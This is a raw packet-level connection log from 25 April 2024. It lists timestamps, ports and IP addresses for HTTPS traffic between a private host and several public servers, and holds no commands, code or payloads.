Apr 25, 2024 00:49:26.505279064 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527158976 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527169943 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527218103 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527237892 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.527240038 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527250051 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527268887 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.527278900 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.527303934 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.527331114 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.541052103 CEST	443	49716	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.541110039 CEST	443	49716	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.541251898 CEST	49716	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.541435003 CEST	49716	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.541470051 CEST	443	49716	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.541507959 CEST	49716	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.541553020 CEST	49716	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.543041945 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.543114901 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.543209076 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.543395042 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.543417931 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.610449076 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.610472918 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.610553980 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.610572100 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.610615969 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.628751040 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.628772974 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.628953934 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.628976107 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.629020929 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.642477036 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.642498970 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.642587900 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.642604113 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.642653942 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.648168087 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.648252010 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.648257017 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.648278952 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.648324013 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.648824930 CEST	49715	443	192.168.2.16	151.101.2.137
Apr 25, 2024 00:49:26.648840904 CEST	443	49715	151.101.2.137	192.168.2.16
Apr 25, 2024 00:49:26.766660929 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.766943932 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.766972065 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.767261028 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.767579079 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.767638922 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.767724037 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:26.812124014 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:26.940758944 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 00:49:27.072074890 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072114944 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072170019 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072184086 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072274923 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072304010 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072299004 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.072299004 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.072335005 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072381020 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072448969 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.072448969 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.072720051 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072868109 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072916031 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072920084 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.072937965 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.072993040 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.073386908 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.073518038 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.073534966 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.073574066 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.073587894 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.073633909 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.073647976 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074333906 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074389935 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074393988 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.074408054 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074460983 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.074475050 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074605942 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.074654102 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.074683905 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.075303078 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.075352907 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.075368881 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.075382948 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.075437069 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.075448990 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076186895 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076245070 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.076252937 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076266050 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076318026 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.076332092 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076378107 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076431036 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.076443911 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076461077 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.076513052 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.076745033 CEST	49717	443	192.168.2.16	104.17.2.184
Apr 25, 2024 00:49:27.076777935 CEST	443	49717	104.17.2.184	192.168.2.16
Apr 25, 2024 00:49:27.197865009 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.197916031 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.197979927 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.198165894 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.198189020 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.425518036 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.425766945 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.425785065 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.429366112 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.429445028 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.429815054 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.429815054 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.429836035 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.429987907 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.484586000 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.484601021 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.524760962 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.524832010 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.524914026 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.525144100 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.525177956 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.532588959 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.725682020 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.725970030 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726062059 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726070881 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726105928 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726152897 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726195097 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726350069 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726394892 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726407051 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726530075 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726589918 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726597071 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726682901 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726732016 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726741076 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726819038 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.726866961 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.726874113 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727188110 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727252007 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.727258921 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727377892 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727420092 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.727427006 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727529049 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727576017 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.727591038 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727931976 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.727982998 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.727994919 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728142977 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728185892 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.728192091 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728364944 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728447914 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728460073 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.728468895 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.728507996 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.728873968 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729332924 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729382038 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.729391098 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729485035 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729530096 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.729536057 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729711056 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.729758978 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.729765892 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730029106 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730082035 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730097055 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730120897 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730165005 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730170965 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730333090 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730381966 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730395079 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730489969 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730531931 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730537891 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730712891 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730750084 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730756998 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730940104 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.730990887 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.730998039 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731229067 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731281042 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.731288910 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731450081 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731496096 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.731503010 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731601954 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731646061 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.731652975 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731745958 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731787920 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.731802940 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731884003 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.731925011 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.731930971 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.732002020 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.732040882 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.732048035 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.748472929 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.748745918 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.748796940 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.749205112 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.749541998 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.749623060 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:27.753223896 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.753313065 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.753397942 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.753612995 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.753645897 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.772607088 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.772617102 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.804615021 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:27.820605040 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.835350037 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836497068 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836507082 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836572886 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.836584091 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836901903 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836954117 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.836961985 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.836981058 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.837006092 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.837013006 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.837059975 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.837070942 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.837873936 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.837883949 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.837943077 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.837960005 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.838006020 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.838033915 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.838083029 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.838109016 CEST	49718	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.838129997 CEST	443	49718	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.840624094 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.840677023 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.840754986 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.841010094 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.841027021 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.979271889 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.979621887 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.979681969 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.980079889 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.980463982 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:27.980580091 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:27.980595112 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.022741079 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.022849083 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.068974018 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.069252968 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.069278955 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.070460081 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.070956945 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.071131945 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.071146011 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.116116047 CEST	443	49721	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.118607044 CEST	49721	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.149596930 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 00:49:28.260016918 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260056019 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260093927 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260122061 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260236979 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.260236979 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.260251999 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260303974 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260364056 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.260379076 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260418892 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260441065 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260472059 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.260487080 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.260544062 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.260556936 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261264086 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261322975 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.261336088 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261431932 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261477947 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.261490107 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261534929 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261580944 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.261594057 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261687040 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.261734009 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.261744976 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262172937 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262238026 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.262248993 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262373924 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262427092 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.262438059 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262525082 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.262589931 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.262600899 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263165951 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263223886 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.263236046 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263317108 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263362885 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.263375044 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263480902 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263540030 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.263556004 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263622046 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.263668060 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.263679981 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264163971 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264223099 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.264235020 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264429092 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264477968 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264481068 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.264492989 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.264545918 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.264559031 CEST	443	49720	104.17.3.184	192.168.2.16
